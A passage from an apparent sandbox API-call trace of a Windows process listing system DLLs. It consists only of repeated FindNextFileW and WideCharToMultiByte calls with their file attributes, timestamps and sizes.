ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0180.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x49c288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0180.687] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0180.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x49c120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0180.687] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb846ba90, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb846ba90, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x5760, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0180.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x49c288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0180.688] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8445930, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8445930, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4d60, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0180.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x49c120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0180.688] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8125c50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8125c50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x10360, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0180.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x49c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0180.688] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0180.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x49c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0180.688] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84b7d50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84b7d50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3f60, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0180.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x49c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0180.688] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0180.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x49c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0180.688] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0180.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x49c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0180.688] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0180.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x49c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0180.689] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0180.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x49c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0180.689] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-eventing-provider-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0180.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x49c120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0180.689] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d1a7690, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-security-base-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0180.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x49c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0180.689] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f381b9f, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f381b9f, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f37fbd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-security-lsalookup-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0180.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x49c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0180.689] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f3a7cfe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f3a7cfe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f3a6cd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-security-sddl-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0180.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x49c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0180.689] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-service-core-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0180.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x49c120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0180.689] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-service-management-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0180.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x49c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0180.689] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d09eb7b, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d09eb7b, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-service-management-l2-1-0.dll", cAlternateFileName="")) returned 1 [0180.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0180.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x49c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0180.690] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-service-winsvc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0180.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x49c288, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0180.690] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7821a163, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7821a163, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="apilogen.dll", cAlternateFileName="")) returned 1 [0180.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APILOGEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.690] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1f2f92c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc1f2f92c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="apircl.dll", cAlternateFileName="")) returned 1 [0180.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0x49c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APIRCL.DLL", lpUsedDefaultChar=0x0) returned 10 [0180.690] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: 